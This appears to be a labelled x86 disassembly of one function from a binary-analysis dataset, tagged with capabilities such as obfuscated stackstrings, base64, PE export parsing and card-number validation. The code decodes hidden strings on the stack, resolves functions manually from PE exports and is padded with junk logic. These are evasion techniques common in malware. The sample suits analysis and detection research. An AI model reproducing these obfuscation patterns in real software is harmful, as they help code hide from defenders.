Function at 0x1003baa4
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Parse pe header
Resolve function by parsing pe exports
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10067d74
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2e8
push esi
and dword [ebp - 0x18], 0
movzx eax, byte [ebp + 0x24]
test eax, eax
je 0x1003cf40
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1fc], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1c8], 0x23cf
cmp dword [ebp - 0x1c8], 0x723
jge 0x1003bc5b
mov dword [ebp - 0x144], 1
push 0x11cc7174
push 0x10007860
call fcn.1004df4b
pop ecx
pop ecx
mov eax, dword [0x11cc7174]
mov dword [ebp - 0x19c], eax
mov eax, dword [0x11cc7174]
dec eax
mov dword [0x11cc7174], eax
cmp dword [ebp - 0x19c], 0
je 0x1003bc5b
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x1d0], eax
push dword [ebp - 0x1d0]
push 0x10007c28
call fcn.1004e3a9
pop ecx
pop ecx
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
push 0x11c656e0
push 0x10007860
call fcn.1004df4b
pop ecx
pop ecx
and dword [ebp - 0xa0], 0
jmp 0x1003bbaa
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
cmp eax, dword [0x11c656e0]
jge 0x1003bbd4
mov eax, dword [ebp - 0xa0]
lea eax, [eax*4 + 0x11cc86d8]
push eax
push 0x10007860
call fcn.1004df4b
pop ecx
pop ecx
jmp 0x1003bb9d
mov eax, dword [0x11c656e0]
lea edx, [eax*4 + 0x11cc86d8]
mov ecx, 0x11cc86d8
call fcn.1003ebba
mov dword [ebp - 0x148], 1
and dword [ebp - 0x7c], 0
jmp 0x1003bc01
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
cmp eax, dword [0x11c656e0]
jge 0x1003bc44
mov eax, dword [ebp - 0x148]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax*4 + 0x11cc86d8]
sub eax, dword [ebp - 0x7c]
cdq
push edx
push eax
push esi
push ecx
call fcn.100521e0
push 0
push 0x3b9aca07
push edx
push eax
call fcn.10066a30
mov dword [ebp - 0x148], eax
jmp 0x1003bbfa
push dword [ebp - 0x148]
push 0x10007868
call fcn.1004e3a9
pop ecx
pop ecx
jmp 0x1003bb35
mov eax, dword [ebp - 0x1d8]
movzx eax, byte [eax]
test eax, eax
je 0x1003ced7
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1003bc93
jmp 0x1003cf7c
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x24]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
cmp dword [eax], 0x4550
je 0x1003bcb2
jmp 0x1003cf7c
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x44]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp dword [eax + 4], 0
jne 0x1003bcd0
jmp 0x1003cf7c
and dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x44]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x44]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x15c], eax
push 0x7722
push 0
lea eax, [ebp - 0x44]
push eax
push 0x3bb8
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x20]
push eax
push 0xe32
push 0
push 0x7bee
push 0x513e
push 0x47aa
push 0x56eb
push 1
lea eax, [ebp - 0x34]
push eax
push 0x4914
call fcn.1003b22d
add esp, 0x3c
cmp dword [ebp - 0x20], 0
jne 0x1003bd3c
jmp 0x1003cf7c
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x14], ecx
xor ecx, ecx
call fcn.10032a4c
push eax
call fcn.1004efaa
pop ecx
mov byte [ebp - 0xdc], 0
mov byte [ebp - 0xdb], 0xdd
mov byte [ebp - 0xda], 0x27
mov byte [ebp - 0xd9], 0x49
mov byte [ebp - 0xd8], 0x7f
mov byte [ebp - 0xd7], 0xe0
mov byte [ebp - 0xd6], 0x3b
mov byte [ebp - 0xd5], 0x42
mov byte [ebp - 0xd4], 0xe6
mov byte [ebp - 0xd3], 0xd
mov byte [ebp - 0xd2], 0xe0
mov byte [ebp - 0xd1], 0x61
mov byte [ebp - 0xd0], 0x51
mov byte [ebp - 0xcf], 0xb3
mov byte [ebp - 0xce], 0x13
mov byte [ebp - 0xcd], 0xcb
mov byte [ebp - 0xcc], 0x96
mov byte [ebp - 0xcb], 0x22
mov byte [ebp - 0xca], 0x28
mov byte [ebp - 0xc9], 0x9d
mov byte [ebp - 0xc8], 0x70
mov byte [ebp - 0xc7], 0xcd
mov byte [ebp - 0xc6], 0x1d
mov byte [ebp - 0xc5], 0x76
mov byte [ebp - 0xc4], 0x52
mov byte [ebp - 0xc3], 0x90
mov byte [ebp - 0xc2], 0x79
mov byte [ebp - 0xc1], 0x48
mov byte [ebp - 0xc0], 0x9e
mov byte [ebp - 0xbf], 0xe9
mov byte [ebp - 0xbe], 0x97
mov byte [ebp - 0xbd], 0x3d
mov byte [ebp - 0xbc], 0xf9
mov byte [ebp - 0xbb], 0x48
mov byte [ebp - 0xba], 0x58
mov byte [ebp - 0xb9], 0xe0
mov byte [ebp - 0xb8], 0xdf
mov byte [ebp - 0xb7], 0x9b
mov byte [ebp - 0xb6], 0x82
mov byte [ebp - 0xb5], 0xed
mov byte [ebp - 0xb4], 0x48
mov byte [ebp - 0xb3], 0xb7
mov byte [ebp - 0xb2], 2
mov byte [ebp - 0xb1], 6
mov byte [ebp - 0xb0], 3
mov byte [ebp - 0xaf], 0
mov byte [ebp - 0xae], 6
mov byte [ebp - 0xad], 6
mov byte [ebp - 0xac], 4
mov byte [ebp - 0xab], 9
mov byte [ebp - 0xaa], 7
mov byte [ebp - 0xa9], 0xe
mov byte [ebp - 0xa8], 5
mov byte [ebp - 0xa7], 7
mov byte [ebp - 0xa6], 9
mov byte [ebp - 0xa5], 1
mov byte [ebp - 0xa4], 1
mov byte [ebp - 0xa3], 5
mov byte [ebp - 0xa2], 8
mov byte [ebp - 0xa1], 5
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xdc]
or eax, 0xec
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xdc]
and ecx, 0xec
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0xdc]
mov byte [ebp + ecx - 0x18c], al
mov dword [ebp - 0x2c], 2
and dword [ebp - 0x94], 0
jmp 0x1003bf52
mov eax, dword [ebp - 0x2c]
inc eax
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x3c
jae 0x1003c008
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xdc]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x2c], eax
jne 0x1003bf9c
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0xdc]
inc eax
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0xdc]
mov ecx, dword [ebp - 0x2c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x2c], eax
jmp 0x1003bf4a
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0xdb]
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x94]
movzx ecx, byte [ebp + ecx - 0xde]
movsx ecx, byte [ebp + ecx - 0x18c]
or eax, ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0xdb]
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x94]
movzx edx, byte [ebp + edx - 0xde]
movsx edx, byte [ebp + edx - 0x18c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0xdc]
mov byte [ebp + ecx - 0x18c], al
and dword [ebp - 0x94], 0
jmp 0x1003bf4a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x18c], 0
lea eax, [ebp - 0x18c]
push eax
lea ecx, [ebp - 0x2f4]
call fcn.1003e600
mov dword [ebp - 0x214], eax
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x21c], eax
and dword [ebp - 4], 0
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x21c]
call fcn.10032a11
pop ecx
mov dword [ebp - 0x1ac], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f4]
call fcn.10031260
and dword [ebp - 0x8c], 0
jmp 0x1003c079
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0xb
jae 0x1003c092
mov eax, dword [ebp - 0x8c]
mov byte [ebp + eax - 0x18c], 0
jmp 0x1003c06c
mov byte [ebp - 0x134], 4
mov byte [ebp - 0x133], 0xbf
mov byte [ebp - 0x132], 0
mov byte [ebp - 0x131], 5
mov byte [ebp - 0x130], 6
mov byte [ebp - 0x12f], 8
mov byte [ebp - 0x12e], 7
mov byte [ebp - 0x12d], 0xf
mov byte [ebp - 0x12c], 9
mov byte [ebp - 0x12b], 6
mov byte [ebp - 0x12a], 0x43
mov byte [ebp - 0x129], 0xc5
mov byte [ebp - 0x128], 0xc8
mov byte [ebp - 0x127], 0x95
mov byte [ebp - 0x126], 0xa4
mov byte [ebp - 0x125], 0x73
mov byte [ebp - 0x124], 0x46
mov byte [ebp - 0x123], 0xc6
mov byte [ebp - 0x122], 0x7a
mov byte [ebp - 0x121], 0x9c
mov byte [ebp - 0x120], 0x2f
mov byte [ebp - 0x11f], 0x35
mov byte [ebp - 0x11e], 0xa3
mov byte [ebp - 0x11d], 0xde
mov byte [ebp - 0x11c], 0xbf
mov byte [ebp - 0x11b], 0xb2
mov byte [ebp - 0x11a], 0x66
mov byte [ebp - 0x119], 0x13
mov byte [ebp - 0x118], 0xb8
mov byte [ebp - 0x117], 0xef
mov byte [ebp - 0x116], 0x14
mov byte [ebp - 0x115], 0xc3
mov byte [ebp - 0x114], 0x38
mov byte [ebp - 0x113], 0xfe
mov byte [ebp - 0x112], 0x6d
mov byte [ebp - 0x111], 0x8e
mov byte [ebp - 0x110], 0x80
mov byte [ebp - 0x10f], 0x95
mov byte [ebp - 0x10e], 0x9f
mov byte [ebp - 0x10d], 0x4b
mov byte [ebp - 0x10c], 0x41
mov byte [ebp - 0x10b], 0xbd
mov byte [ebp - 0x10a], 0x84
mov byte [ebp - 0x109], 0x3f
mov byte [ebp - 0x108], 0xd1
mov byte [ebp - 0x107], 0xb4
mov byte [ebp - 0x106], 0xce
mov byte [ebp - 0x105], 0xcb
mov byte [ebp - 0x104], 0x7b
mov byte [ebp - 0x103], 0xa4
mov byte [ebp - 0x102], 0x3e
mov byte [ebp - 0x101], 0x45
mov byte [ebp - 0x100], 0x38
mov byte [ebp - 0xff], 0xec
mov byte [ebp - 0xfe], 0x7f
mov byte [ebp - 0xfd], 0xf4
mov byte [ebp - 0xfc], 0x8a
mov byte [ebp - 0xfb], 0xb0
mov byte [ebp - 0xfa], 0xe7
mov byte [ebp - 0xf9], 0x67
mov byte [ebp - 0xf8], 0xd7
mov byte [ebp - 0xf7], 0xdd
mov byte [ebp - 0xf6], 0x9f
mov byte [ebp - 0xf5], 0xe
mov byte [ebp - 0xf4], 0x59
mov byte [ebp - 0xf3], 0x5a
mov byte [ebp - 0xf2], 0x6e
mov byte [ebp - 0xf1], 0xd8
mov byte [ebp - 0xf0], 0x9e
mov byte [ebp - 0xef], 0xa0
mov byte [ebp - 0xee], 0xc0
mov byte [ebp - 0xed], 0x46
mov byte [ebp - 0xec], 0xae
mov byte [ebp - 0xeb], 0x59
mov byte [ebp - 0xea], 0x99
mov byte [ebp - 0xe9], 0x93
mov byte [ebp - 0xe8], 0x3d
mov byte [ebp - 0xe7], 0x54
mov byte [ebp - 0xe6], 8
mov byte [ebp - 0xe5], 0
mov byte [ebp - 0xe4], 2
mov byte [ebp - 0xe3], 7
mov byte [ebp - 0xe2], 1
mov byte [ebp - 0xe1], 1
mov byte [ebp - 0xe0], 3
mov byte [ebp - 0xdf], 4
mov byte [ebp - 0xde], 5
mov byte [ebp - 0xdd], 3
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x134]
or eax, 0x8b
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x134]
and ecx, 0x8b
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x134]
mov byte [ebp + ecx - 0x198], al
mov dword [ebp - 0x28], 2
and dword [ebp - 0x98], 0
jmp 0x1003c350
mov eax, dword [ebp - 0x28]
inc eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x58
jae 0x1003c406
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x134]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x1003c39a
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x134]
inc eax
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x134]
mov ecx, dword [ebp - 0x28]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x28], eax
jmp 0x1003c348
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x133]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x98]
movzx ecx, byte [ebp + ecx - 0x136]
movsx ecx, byte [ebp + ecx - 0x198]
or eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x133]
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x98]
movzx edx, byte [ebp + edx - 0x136]
movsx edx, byte [ebp + edx - 0x198]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x134]
mov byte [ebp + ecx - 0x198], al
and dword [ebp - 0x98], 0
jmp 0x1003c348
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x198], 0
lea eax, [ebp - 0x198]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.1003e600
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 4], 1
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x1a4]
call fcn.10032a11
pop ecx
mov dword [ebp - 0x208], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2ac]
call fcn.10031260
and dword [ebp - 0x90], 0
jmp 0x1003c47a
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xb
jae 0x1003c493
mov eax, dword [ebp - 0x90]
mov byte [ebp + eax - 0x198], 0
jmp 0x1003c46d
push dword [ebp - 0x208]
push dword [ebp - 0x1ac]
call fcn.10039429
pop ecx
pop ecx
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x178]
mov dword [eax + 8], ecx
lea eax, [ebp - 0x14]
push eax
push 0
push 0x511c
push 0x2a73
push 0x32d0
push 0xfa8
push 0x42cf
push 1
push 0x774c
push 0x1c30
push 0x4048
push 0xa1b
push 1
push 0x3ddd
lea eax, [ebp - 0x178]
push eax
call fcn.1003b22d
add esp, 0x3c
and dword [ebp - 0x50], 0
push 0x7f8
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x50]
push eax
call fcn.1003ae4c
add esp, 0x10
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x14]
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x3c], eax
and dword [ebp - 0x80], 0
jmp 0x1003c540
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x3c]
jge 0x1003c61c
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov eax, dword [eax + 0x14]
sub eax, dword [ecx + 0x18]
cmp dword [ebp - 0x80], eax
jae 0x1003c577
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax + 0x1c]
add ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x80]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x168], eax
jmp 0x1003c5c5
push 0x6204
lea eax, [ebp - 0x168]
push eax
push 0x1753
push 0x6f99
push 0xd2e
push 0x21c4
push 0x3fd3
push 0x72cf
lea eax, [ebp - 0x15c]
push eax
push 0x6e7d
push 0
push 1
push 0x1f19
push 0x5d82
push 0
call fcn.1003b6f7
add esp, 0x3c
lea eax, [ebp - 0x24]
push eax
push 0x4e3b
push 0x183e
lea eax, [ebp - 0x20]
push eax
push 0x4280
push 0x30cc
push 0x6d1e
lea eax, [ebp - 0x168]
push eax
push 0x71f0
push 0x7a2
push 0
push 1
lea eax, [ebp - 0x10]
push eax
push 0x5883
push 1
call fcn.1003b6f7
add esp, 0x3c
mov eax, dword [ebp - 0x10]
add eax, 4
mov dword [ebp - 0x10], eax
jmp 0x1003c539
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x14]
sub eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x18]
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x3c], eax
and dword [ebp - 0x13c], 0
jmp 0x1003c64d
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0x3c]
jge 0x1003c686
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
and dword [ecx + eax], 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0x5d98
push 0x2c0b
push 0x70bc
push 0
call fcn.1003b05a
add esp, 0x18
jmp 0x1003c640
mov eax, dword [ebp - 0x3c]
shl eax, 2
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x20], ecx
push 1
push 0x503c
lea eax, [ebp - 0x50]
push eax
push 0x7f30
lea eax, [ebp - 0x14]
push eax
push 0
call fcn.1003b05a
add esp, 0x18
lea eax, [ebp - 0x14]
push eax
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x806
push 1
lea eax, [ebp - 0x20]
push eax
push 0x44e0
lea eax, [ebp - 0x24]
push eax
push 0x6a09
push 0x1426
call fcn.1003af07
add esp, 0x2c
push 0x1b1d
push 1
push 0x7154
push 0x1455
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0
push 0x63a9
lea eax, [ebp - 0x10]
push eax
call fcn.1003baa4
add esp, 0x24
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax + 0xc]
add ecx, dword [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x24c]
call fcn.1003e600
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x24c]
call fcn.1002666c
mov dword [ebp - 0x180], eax
push dword [ebp - 0x180]
mov eax, dword [ebp - 0x180]
shr eax, 1
push eax
call fcn.10039429
pop ecx
pop ecx
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x78], 2
mov byte [ebp - 0x77], 0xd6
mov byte [ebp - 0x76], 0
mov byte [ebp - 0x75], 0x42
mov byte [ebp - 0x74], 1
mov byte [ebp - 0x73], 0x4a
mov byte [ebp - 0x72], 0x11
mov byte [ebp - 0x71], 0x42
mov byte [ebp - 0x70], 0x72
mov byte [ebp - 0x6f], 0xce
mov byte [ebp - 0x6e], 0x70
mov byte [ebp - 0x6d], 0x1d
mov byte [ebp - 0x6c], 0xfe
mov byte [ebp - 0x6b], 0x8d
mov byte [ebp - 0x6a], 0x45
mov byte [ebp - 0x69], 0xab
mov byte [ebp - 0x68], 0xe3
mov byte [ebp - 0x67], 0xfe
mov byte [ebp - 0x66], 0x16
mov byte [ebp - 0x65], 0x44
mov byte [ebp - 0x64], 0x1e
mov byte [ebp - 0x63], 0xf4
mov byte [ebp - 0x62], 0x4d
mov byte [ebp - 0x61], 0x43
mov byte [ebp - 0x60], 3
mov byte [ebp - 0x5f], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x78]
or eax, 0xba
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x78]
and ecx, 0xba
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x78]
mov byte [ebp + ecx - 0x4c], al
mov dword [ebp - 0x1c], 2
and dword [ebp - 0x5c], 0
jmp 0x1003c80d
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x1a
jae 0x1003c8f7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x78]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x1c], eax
jne 0x1003c84b
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x78]
inc eax
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x78]
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x1c], eax
jmp 0x1003c805
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x77]
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x5c]
movzx ecx, byte [ebp + ecx - 0x7a]
movsx ecx, byte [ebp + ecx - 0x4c]
add eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x77]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x5c]
movzx edx, byte [ebp + edx - 0x7a]
movsx edx, byte [ebp + edx - 0x4c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x77]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x5c]
movzx edx, byte [ebp + edx - 0x7a]
movsx edx, byte [ebp + edx - 0x4c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x78]
mov byte [ebp + ecx - 0x4c], al
push 0x5ecf
push 0x777a
push 0x68b9
push 0x341
push 0x12b2
push 0x6cba
lea eax, [ebp - 0x5c]
push eax
push 0x4a97
push 0x13f2
push 0x2091
push 1
push 0
push 0x5c96
push 0x766
push 1
call fcn.1003b6f7
add esp, 0x3c
jmp 0x1003c805
xor eax, eax
inc eax
shl eax, 2
mov byte [ebp + eax - 0x4c], 0
cmp dword [ebp - 0x54], 4
jle 0x1003c9b9
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x2dc]
call fcn.1003e600
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x218], eax
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x18]
or eax, 1
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x54]
sub eax, 4
push eax
lea eax, [ebp - 0x27c]
push eax
call fcn.10039b80
pop ecx
pop ecx
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 4], 4
mov eax, dword [ebp - 0x18]
or eax, 2
mov dword [ebp - 0x18], eax
push dword [ebp - 0x218]
mov edx, dword [ebp - 0x1bc]
lea ecx, [ebp - 0x2c4]
call fcn.1003ebd8
pop ecx
mov dword [ebp - 0x200], eax
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x18]
or eax, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x174], eax
jmp 0x1003c9e5
push dword [ebp - 0x54]
lea eax, [ebp - 0x294]
push eax
call fcn.10039b80
pop ecx
pop ecx
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x18]
or eax, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x1cc], eax
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0x264]
call fcn.10031207
mov dword [ebp - 4], 6
mov eax, dword [ebp - 0x18]
and eax, 8
je 0x1003ca20
and dword [ebp - 0x18], 0xfffffff7
lea ecx, [ebp - 0x294]
call fcn.10031260
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x18]
and eax, 4
je 0x1003ca3b
and dword [ebp - 0x18], 0xfffffffb
lea ecx, [ebp - 0x2c4]
call fcn.10031260
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x18]
and eax, 2
je 0x1003ca56
and dword [ebp - 0x18], 0xfffffffd
lea ecx, [ebp - 0x27c]
call fcn.10031260
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x18]
and eax, 1
je 0x1003ca71
and dword [ebp - 0x18], 0xfffffffe
lea ecx, [ebp - 0x2dc]
call fcn.10031260
and dword [ebp - 0x84], 0
jmp 0x1003ca87
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 5
jae 0x1003ca9d
mov eax, dword [ebp - 0x84]
mov byte [ebp + eax - 0x4c], 0
jmp 0x1003ca7a
mov dword [ebp - 0x1ec], 0x15b2
cmp dword [ebp - 0x1ec], 0x71f
jge 0x1003cc8e
lea eax, [ebp - 0x1d4]
push eax
push 0x10007860
call fcn.1004df4b
pop ecx
pop ecx
mov dword [ebp - 0x9c], 1
jmp 0x1003cae3
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x1d4]
jg 0x1003cc8e
lea eax, [ebp - 0x150]
push eax
push 0x10007c34
call fcn.1004df4b
pop ecx
pop ecx
lea eax, [ebp - 0x150]
push eax
call fcn.1004dec0
pop ecx
mov dword [ebp - 0x40], eax
and dword [ebp - 0x30], 0
and dword [ebp - 0x38], 0
jmp 0x1003cb29
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x40]
jge 0x1003cbdd
mov eax, dword [ebp - 0x40]
dec eax
sub eax, dword [ebp - 0x38]
movsx eax, byte [ebp + eax - 0x150]
cmp eax, 0x3f
jne 0x1003cb57
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x164], eax
jmp 0x1003cbd8
mov eax, dword [ebp - 0x38]
cdq
push 3
pop ecx
idiv ecx
mov dword [ebp - 0x138], edx
cmp dword [ebp - 0x138], 0
je 0x1003cb83
cmp dword [ebp - 0x138], 1
je 0x1003cba0
cmp dword [ebp - 0x138], 2
je 0x1003cbbd
jmp 0x1003cbd8
mov eax, dword [ebp - 0x40]
dec eax
sub eax, dword [ebp - 0x38]
movsx eax, byte [ebp + eax - 0x150]
sub eax, 0x30
imul eax, eax, 9
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
jmp 0x1003cbd8
mov eax, dword [ebp - 0x40]
dec eax
sub eax, dword [ebp - 0x38]
movsx eax, byte [ebp + eax - 0x150]
sub eax, 0x30
imul eax, eax, 3
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
jmp 0x1003cbd8
mov eax, dword [ebp - 0x40]
dec eax
sub eax, dword [ebp - 0x38]
movsx eax, byte [ebp + eax - 0x150]
sub eax, 0x30
imul eax, eax, 7
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
jmp 0x1003cb22
mov eax, dword [ebp - 0x30]
cdq
push 0xa
pop ecx
idiv ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x164]
cdq
push 3
pop ecx
idiv ecx
mov dword [ebp - 0x158], edx
cmp dword [ebp - 0x158], 0
je 0x1003cc18
cmp dword [ebp - 0x158], 1
je 0x1003cc2d
cmp dword [ebp - 0x158], 2
je 0x1003cc42
jmp 0x1003cc55
lea eax, [ebp - 0x30]
push eax
push 9
call fcn.1003ba6c
pop ecx
pop ecx
mov dword [ebp - 0x140], eax
jmp 0x1003cc55
lea eax, [ebp - 0x30]
push eax
